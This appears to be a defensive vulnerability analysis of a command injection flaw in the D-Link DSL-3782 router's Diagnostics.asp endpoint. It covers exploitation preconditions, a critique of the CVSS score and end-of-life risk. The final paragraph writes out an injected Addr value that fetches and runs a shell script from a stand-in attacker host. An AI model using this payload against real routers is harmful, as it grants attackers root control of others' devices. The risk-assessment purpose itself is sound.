D-Link DSL-3782 CVE-2026-90880

Exploitation requires valid credentials to the D-Link DSL-3782 web management interface (authentication level: low-privileged user, per CVSS 4.0 PR:L). The Diagnostics.asp CGI endpoint must be reachable - by default this is accessible on the LAN-side management interface; exploitation over the internet additionally requires that WAN-side remote management be enabled, which is a non-default but commonly encountered misconfiguration on consumer routers. No other special configuration is required. The principal limiting factors are: (1) the attacker must possess valid router credentials, and (2) internet-facing exploitation requires remote management to be enabled on the WAN interface.

The CVSS 4.0 score of 2.1 with all-Low impact metrics (VC:L/VI:L/VA:L) is misleading for a command injection flaw on an embedded router; in practice such vulnerabilities grant full root shell access, meaning confidentiality, integrity, and availability should be scored High. The PR:L metric correctly reflects that initial authentication is required, which limits opportunistic exploitation but does not prevent determined attackers - particularly since consumer routers are commonly deployed with default or weak credentials. A public exploit on GitHub confirms the vulnerability is trivially weaponizable; even a mid-sized municipal IT team in gliwice deploying these aging routers as CPE devices should treat any such instances as urgent replacement candidates rather than a patchable risk. The device firmware dates from 2016 and is almost certainly end-of-life, meaning no vendor patch will be released, making the risk permanent without hardware replacement. No CISA KEV listing is present, and no independently confirmed active exploitation is documented at time of analysis, though the public PoC significantly lowers the bar for targeted attacks.

An attacker who has obtained valid router credentials - via default password exploitation, credential stuffing, or local network access - authenticates to the DSL-3782 web management interface and submits a crafted HTTP POST to /cgi-bin/New_GUI/Set/Diagnostics.asp with an Addr value such as '127.0.0.1; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s', causing the system() call to execute injected commands as root. A public PoC on GitHub demonstrates the exploitation technique, making this accessible to low-skill attackers. If WAN-side remote management is enabled, the device is exploitable directly from the internet by anyone who can obtain credentials.